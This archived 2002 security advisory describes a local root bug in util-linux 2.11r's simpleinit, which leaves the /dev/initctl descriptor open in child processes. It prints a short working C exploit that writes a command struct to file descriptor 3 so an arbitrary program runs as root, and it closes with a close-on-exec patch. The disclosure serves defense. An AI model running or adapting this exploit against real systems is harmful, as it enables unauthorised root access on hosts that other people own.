14th Jun 2002 [SBWID-5432]
COMMAND
simpleinit root exploit - file descriptor left open
SYSTEMS AFFECTED
util-linux 2.11r
PROBLEM
Patrick Smith [patsmith@pobox.com] found following bug:
Simpleinit is an init program for Linux systems. It is included in the
util-linux distribution. More information about simpleinit is available
at
http://www.atnf.csiro.au/people/rgooch/linux/boot-scripts/
Problem
=======
Simpleinit leaves a file descriptor open in some child processes.
The descriptor is used by simpleinit to read messages from a FIFO
(/dev/initctl); this FIFO is normally used by the initctl, need, and
provide programs to pass instructions to simpleinit. However,
simpleinit opens the FIFO read-write, so any process that inherits the
descriptor can pass instructions to simpleinit.
(Opening the FIFO read-write is not a bug; rather it ensures there is
always a writer for the FIFO, so EOF is not reported.)
This has been observed in the simpleinit from util-linux 2.11r (the
latest version).
Impact
======
A local user with a process that inherits the file descriptor can
easily cause simpleinit to execute an arbitrary program or script with
root privileges. There are assuredly numerous other local exploits.
There may also be some remote exploits. For example, if an ftp server
allows access to file descriptors through the /proc filesystem.
Not all processes inherit the file descriptors. Getty processes started
from lines in /etc/inittab do not, so users logging in on the virtual
consoles will typically not have access to this exploit. On the other
hand, if the boot scripts start xdm, then a user logging in through xdm
will be able to use the file descriptor.
Exploit
=======
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include \"simpleinit.h\" /* From the util-linux source */
int main()
{
int fd = 3;
char buf[COMMAND_SIZE];
struct command_struct* cmd = (struct command_struct*) buf;
memset(buf, \'\\0\', sizeof(buf));
cmd->command = COMMAND_NEED;
cmd->pid = 17;
cmd->ppid = 16;
strcpy(cmd->name, \"/home/pat/x/foo\"); /* foo will be run as root */
write(fd, buf, COMMAND_SIZE);
return 0;
}
SOLUTION
Patch:
--- login-utils/simpleinit.c.orig 2001-09-29 11:09:10.000000000 -0400
+++ login-utils/simpleinit.c 2002-05-23 22:16:07.000000000 -0400
@@ -203,6 +203,18 @@
if ( ( initctl_fd = open (initctl_name, O_RDWR, 0) ) < 0 )
err ( _(\"error opening fifo\\n\") );
}
+ if ( initctl_fd >= 0 )
+ if ( fcntl (initctl_fd, F_SETFD, FD_CLOEXEC) != 0 ) {
+ err ( _(\"error setting close-on-exec on /dev/initctl\") );
+ /* Can the fcntl ever fail? If it does, and we leave
+ the descriptor open in child processes, then any
+ process on the system will be able to write to
+ /dev/initctl and have us execute arbitrary commands
+ as root. So let\'s refuse to use the fifo in this
+ case. */
+ close(initctl_fd);
+ initctl_fd = -1;
+ }
if ( want_single || (access (_PATH_SINGLE, R_OK) == 0) ) do_single ();
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH